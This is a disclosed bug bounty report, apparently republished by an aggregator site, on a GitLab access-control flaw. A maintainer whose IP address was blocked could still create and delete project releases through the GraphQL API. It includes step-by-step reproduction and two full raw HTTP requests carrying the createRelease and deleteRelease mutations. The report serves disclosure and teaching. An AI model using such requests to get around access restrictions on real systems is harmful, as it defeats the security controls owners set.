Skip to content
Access control Disclosed report Intermediate

A maintainer can still created/delete releases through GraphQL after an owner blocks IP addresses

A maintainer whose IP address was blocked by a group owner could still create and delete project releases through the GraphQL API.

GitLab

Originally disclosed on GitLab

  • Fixed in 2 months
  • Disclosed after 2 months

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #1912196 by js_noob on 2023-03-19, assigned to @cmaxim:

Report | Attachments | How To Reproduce

Report

Summary

Hello team, as a part of the grp/project security an owner can block certain IP addresses from accessing that group resources (projects,...). However, even if blocked a user can still manage ANY project releases.

Steps to reproduce
  1. Create a grp, project and add a maintainer
  2. From the owner navigate to https://gitlab.com/groups/YOUR_GRP/-/edit#js-permissions-settings and add the maintainer IP address under Restrict access by IP address
  3. From the maintainer navigate to https://gitlab.com/GRP/PROJECT/-/releases and verify the 404
  4. From the maintainer send the following request, but change the variables according to your preferences
POST /api/graphql HTTP/2  
Host: gitlab.com  
Cookie: YOUR_COOKIES  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://gitlab.com/test645811/project-1/-/releases/new  
Content-Type: application/json  
X-Csrf-Token: 12H8b9DghPJeVxcNAW2BELL2JZUMLYQ-lqcBpohif5Q0nT6QuKbYzBaI8ViN-MHran9a5mDy68CoBk0a0UMAIQ  
X-Gitlab-Feature-Category: release_orchestration  
Content-Length: 484  
Origin: https://gitlab.com  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
Te: trailers

[{"operationName":"createRelease","variables":{"input":{"projectPath":"test645811/project-1","tagName":"v.1.19.0","name":"v.1.19.0","releasedAt":null,"description":"","milestones":[],"ref":"main","tagMessage":"","assets":{"links":[]}}},"query":"mutation createRelease($input: ReleaseCreateInput!) {\n  releaseCreate(input: $input) {\n    release {\n      id\n      links {\n        selfUrl\n        __typename\n      }\n      __typename\n    }\n    errors\n    __typename\n  }\n}\n"}]  
  1. Verify the successful response and from the owner verify the creation of the release
  2. From the maintainer send the following to delete the release
POST /api/graphql HTTP/2  
Host: gitlab.com  
Cookie: YOUR_COOKIES  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://gitlab.com/test645811/project-1/-/releases/v1.19.0/edit?back_url=https%3A%2F%2Fgitlab.com%2Ftest645811%2Fproject-1%2F-%2Freleases%2Fv1.19.0  
Content-Type: application/json  
X-Csrf-Token: HZUX7s4c8j7v8SFhVhvCe3RvMOdYMfuYCqEpLPOlYrH-adURplquAKcuxzTajoKArOZPlDTulGY0AGWQqoQdBA  
X-Gitlab-Feature-Category: release_orchestration  
Content-Length: 252  
Origin: https://gitlab.com  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
Te: trailers

[{"operationName":"deleteRelease","variables":{"input":{"projectPath":"test645811/project-1","tagName":"v1.19.0"}},"query":"mutation deleteRelease($input: ReleaseDeleteInput!) {\n  releaseDelete(input: $input) {\n    errors\n    __typename\n  }\n}\n"}]  
  1. Verify the successful response and from the owner verify the deletion of the release
Video/POC
bandicam_2023-03-19_10-49-35-578.mp4 From the original on GitLab

Impact

Users from banned IP addresses can manage project releases where they should be completely blocked from accessing any project that belongs to that group.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

Users from banned IP addresses could manage project releases, bypassing the intended complete block from accessing group projects.

What the attacker needed

A GitLab account; maintainer role in a project; owner has blocked the maintainer's IP

How it was found

  1. Create a group, project, and add a maintainer.
  2. As owner, add the maintainer's IP address under 'Restrict access by IP address' in group settings.
  3. As maintainer, navigate to the releases page and verify a 404 error.
  4. As maintainer, send a GraphQL mutation to create a release.
  5. Verify the release was created.
  6. As maintainer, send a GraphQL mutation to delete the release.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A group owner can block certain IP addresses so that users from those addresses cannot access the group's projects. However, a blocked user could still use the GraphQL API to create or delete releases, which they should not be able to do.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.